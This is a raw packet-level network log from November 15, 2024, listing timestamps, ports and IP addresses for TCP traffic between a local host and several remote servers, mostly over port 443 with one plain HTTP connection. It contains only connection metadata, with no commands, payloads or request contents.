Nov 15, 2024 13:18:23.559591055 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.559613943 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.559626102 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.563431025 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.563642025 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.563710928 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.568495035 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.568510056 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.568520069 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.568523884 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.570964098 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.570971012 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.570991039 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.571033001 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.571073055 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.571188927 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.571233988 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.571243048 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.571348906 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.571362972 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.573554039 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.573661089 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.573718071 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.573790073 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.573790073 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.573807001 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.573816061 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.575974941 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.575984955 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.576138020 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.576205969 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.576222897 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.614852905 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:23.614979982 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:23.615063906 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:23.615173101 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:23.615187883 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:23.627628088 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:23.627679110 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:23.627742052 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:23.628040075 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:23.628057003 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.226958036 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.227137089 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:24.228547096 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:24.228555918 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.228878975 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.230684042 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:24.230715990 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:24.230768919 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.308725119 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.309242964 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.309385061 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.309397936 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.309593916 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.309612036 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.309765100 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.310225964 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.310230970 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.310302019 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.310314894 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.310511112 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.310518026 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.311022997 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.311027050 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.315845966 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.315962076 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.316394091 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.316421986 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.316922903 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.316927910 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.317533016 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.317533016 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.317548990 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.317564011 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.435745955 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.435888052 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.435941935 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.436170101 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.436182976 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.436193943 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.436198950 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.437263966 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.437305927 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.437378883 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.437536001 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.437539101 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.437547922 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.437551975 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.437753916 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.438049078 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.438777924 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.438779116 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.438779116 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.440994978 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441010952 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.441170931 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441282034 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441312075 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.441354990 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441373110 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.441468954 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441483021 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.441533089 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441536903 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441536903 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441570044 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.441685915 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.441698074 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.445475101 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.445638895 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.446259022 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.446259975 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.446259975 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.447957993 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.447988033 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.448061943 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.448184013 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.448193073 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.448661089 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.448924065 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.448968887 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.448997021 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.449003935 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.449014902 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.449018955 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.451159000 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.451183081 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.451276064 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.451395988 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.451406002 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.549631119 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.549730062 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.549832106 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:24.550069094 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:24.550079107 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.550093889 CET	49728	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:24.550098896 CET	443	49728	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:24.552077055 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:24.556891918 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:24.556967974 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:24.557095051 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:24.561844110 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:24.745279074 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.745296001 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.760920048 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:24.760942936 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:24.864422083 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:24.864440918 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:24.864526033 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:24.866421938 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:24.866432905 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:25.194500923 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.195293903 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.195322990 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.195723057 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.195727110 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.198313951 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.198756933 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.198779106 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.198822021 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.199049950 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.199076891 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.199162960 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.199168921 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.199388981 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.199397087 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.200897932 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.201168060 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.201200962 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.201451063 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.201457977 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.201693058 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.201904058 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.201916933 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.202186108 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.202189922 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.323813915 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.323879957 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.323935032 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.324209929 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.324225903 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.324264050 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.324269056 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.326430082 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.326595068 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.326659918 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.326710939 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.326730967 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.326746941 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.326754093 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.327708006 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.327744961 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.327826977 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.327963114 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.327969074 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.327991009 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.328018904 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.328083038 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.328201056 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.328217983 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.328231096 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.328234911 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.328604937 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.328653097 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.328720093 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.328876972 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.328896999 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.329961061 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.329969883 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.330035925 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.330157042 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.330168009 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.331376076 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.331768036 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.331885099 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.331886053 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.331886053 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.332988024 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.333146095 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.333206892 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.333237886 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.333241940 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.333252907 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.333256006 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.333626986 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.333641052 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.333694935 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.333811998 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.333827019 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.334896088 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.334920883 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.334988117 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.335109949 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.335123062 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.458445072 CET	49699	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:25.458954096 CET	49741	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:25.458981991 CET	443	49741	104.98.116.138	192.168.2.7
Nov 15, 2024 13:18:25.459062099 CET	49741	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:25.461751938 CET	49741	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:25.461764097 CET	443	49741	104.98.116.138	192.168.2.7
Nov 15, 2024 13:18:25.465372086 CET	443	49699	104.98.116.138	192.168.2.7
Nov 15, 2024 13:18:25.496798992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.496828079 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.496840954 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.496872902 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.496925116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.496939898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.496961117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.496963978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.496973038 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.496979952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.496994972 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.497009039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.497025013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.497026920 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.497073889 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.501805067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.501832008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.501852989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.501878977 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.542081118 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.557718992 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:25.557766914 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:25.655437946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.655462027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.655489922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.655513048 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.655560017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.655576944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.655592918 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.655601978 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.655632019 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.656028986 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.656075001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.656090021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.656112909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.656116962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.656158924 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.656667948 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.656805038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.656822920 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.656848907 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.656884909 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.656902075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.657002926 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.676182985 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:25.676383972 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:25.678234100 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:25.678253889 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:25.678497076 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:25.698334932 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.729820013 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:25.778601885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.778631926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.778647900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.778681040 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.778811932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.778817892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.778824091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.778856993 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.778878927 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.778882027 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.778896093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.778945923 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.779616117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.779632092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.779648066 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.779661894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.779675961 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.779709101 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.814101934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.814126968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.814145088 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.814167023 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.814169884 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.814202070 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.901937008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.901972055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.901988029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.902015924 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.902208090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.902224064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.902240038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.902245998 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.902282000 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.902378082 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.902426958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.902442932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.902467966 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.902468920 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.902517080 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.937278986 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.937315941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.937371016 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.937396049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.937446117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.937460899 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:25.937486887 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:25.979614973 CET	49734	80	192.168.2.7	185.215.113.16
